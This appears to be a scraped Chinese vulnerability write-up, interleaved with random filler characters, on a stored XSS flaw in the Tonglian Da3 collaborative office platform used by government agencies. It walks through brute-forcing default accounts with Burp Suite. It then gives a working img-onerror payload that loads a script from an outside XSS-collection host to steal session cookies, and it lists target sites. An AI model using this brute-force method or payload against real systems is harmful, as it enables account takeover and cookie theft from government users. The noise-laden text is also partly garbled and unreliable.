同联Da3协同办公平台后台通用储存型xss漏洞

admin

o3 m+ x) i! a. b. t % B1 F7 S1 D1 }1 G0 o. T7 R 5 w: O" s. p% b t 2 i- c( R2 a. N9 j7 e ( ^ ^/ Y/ R) y9 y( {

- ]" y9 G2 E1 }) u

同联Da3协同办公平台后台通用储存型xss漏洞

1 M1 K7 V( Q1 I; y' {

6 X% @' n% I' l) N& Q; V$ I 平台简介： ; z% [( e9 q8 E1 ], u) k3 {8 K

/ U4 c0 ?) i e6 P. Q2 w1 U   ) M$ b& T- ^3 S# `5 j- p# F

. t4 |5 o7 k3 z* q% g

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

1 x2 Z; ~) H$ `# P2 s1 N   # C% z! v. G+ i$ E& ?

9 A5 G4 w, v" e: O

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

) R9 B0 Q& m7 D: `   2 [) I' Z* b. v2 L3 s# [

$ N: ^) z- K) m9 J% p9 Q4 x

/ b: H: Q9 m0 Z% n2 l9 J1 e http://1.1.1.1:7197/cap-aco/#（案例2-） 6 a+ |0 C- @' f

0 Y% V4 k% D8 a http://www.XXOO.com （案例1-官网网站）

; g! @# r# r" U+ E9 l

+ c$ f; r: _( i# @ 漏洞详情: 4 i- D9 O, S7 _8 W# N' z4 ~

( {& I7 M* r3 {+ C$ H  案例一、 7 H1 @2 r. \& l( f0 v! K6 o

初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 0 Q6 i8 X+ d: Y' q! E: I+ s

' L$ A9 K. }* x1 B. I9 |      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

& ^2 `! r8 _* |4 e8 K

  ) ?* O; i# Z; ]1 Z8 m: {( I( ~/ L

& q) \% @7 X4 [6 c) V1 T

% O" b- p- r) Y% ~* v! {/ S status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图：

  3 X5 G, [2 s2 f* R! p. D3 r

. b. s1 ~) ]8 j

然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下

0 `/ Q% e, q8 t6 }   / l8 Q9 B& i$ E: k( o3 `

; s! q+ _6 C) e. ~

<img src=x 7 u, L) [3 i$ s2 }' f% a# ?onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图：

5 H o) }: }' j* q 8 U* ~- R6 b" J8 O8 \- m: L: z1 J

! W3 ]9 t4 ^* ^' R

然后发送，接收cookie如图： $ I3 V4 \" b, y( v8 z: _: s- ?' k% S2 w; Z

$ u( B* d( v2 r) X

2 ?( B" }% w% `1 X* F8 e  

 

@. O( S- A0 U7 E. F  

: T' g- q3 c7 A* \( l   # H4 l. s( _2 c$ p2 g& u

' p- c' y l2 ]* w/ o: ?) J ' W: \8 t: |0 h5 s- I% ^

; b* W8 m9 f' Z5 @3 E/ c

3 ~, `% c- A# _* f7 A; C) ] L% s

  Q7 J" I% ^ t$ R# o" @

1 T+ G2 D- W& H6 e& D" K

7 c" P/ t7 k, L 案例2、

前面步骤都一样，下面看效果图：

3 x2 ^$ \9 z+ h' X D; D( N9 n

/ |7 r. a: R2 a9 y3 j, t" O: W ) J8 l9 I+ B7 p) }5 Z

+ ?( w% {% N# F* Z8 h

* Z* @! i' N% @ s; n

4 e7 M& \! b+ g. |6 a2 n' b% R' y  

+ E9 F1 I6 ]4 @) R+ ~0 U+ B2 e0 M( e9 @  

' x0 n2 X# K# T8 M7 U, g: a  

! D- P+ `! V+ j1 S# P3 ~* {, ]

 

 

  ! W8 d# q+ A, Z6 W+ |. T